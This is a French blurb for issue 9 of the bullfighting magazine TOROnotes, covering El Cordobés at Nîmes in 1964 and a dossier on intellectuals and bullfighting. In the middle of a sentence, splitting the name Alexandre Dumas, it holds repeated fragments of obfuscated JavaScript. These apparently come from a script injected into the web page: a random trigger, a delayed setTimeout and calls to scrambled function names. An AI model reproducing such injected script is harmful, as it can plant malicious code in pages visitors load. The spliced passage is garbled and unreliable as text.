LA REVUE TOROnotes : N° 9

D’une parution à l’autre, TOROnotes s’est installé dans le paysage comme un objet tauromachique singulier, foulant des terrains jusque-là inoccupés, soucieux d’une approche dégagée de l’urgence et libérée de toute idée d’aller provoquer l’œil contraire. Ici, un seul souci : prendre le temps de partager avec le lecteur l’envie de transmettre, de faire durer cette conversation  aussi longtemps que possible, « despacio », comme doit l’être le « toreo ».

Ce trimestre, le N°9 de TOROnotes revient sur le séisme qui a gagné Nîmes un certain 17 mai 1964 lorsqu’El Cordobés a coupé deux oreilles, la queue et une patte à un toro de Juan Pedro Domecq, laissant la plaza dans un état d’hébétude rarement égalé depuis. On y suivra « le parcours de ce Gargantua de la vie » au rythme des mots ciselés de Jean Marie Magnan et des images irremplaçables de Lucien Clergue.

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Le N°9, c’est aussi le traditionnel dossier à siroter tout au long du trimestre, au rythme de chacun. TOROnotes s’attaque ce coup-ci aux fécondes relations des intellectuels et de la corrida. D’Alexandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andre Dumas à Francis Wolff, une vaste réflexion sur « la morphine de l’Espagne » pas seulement confinée aux Français.  Une (saine) lecture à consommer sans modération.

Toronotes-09

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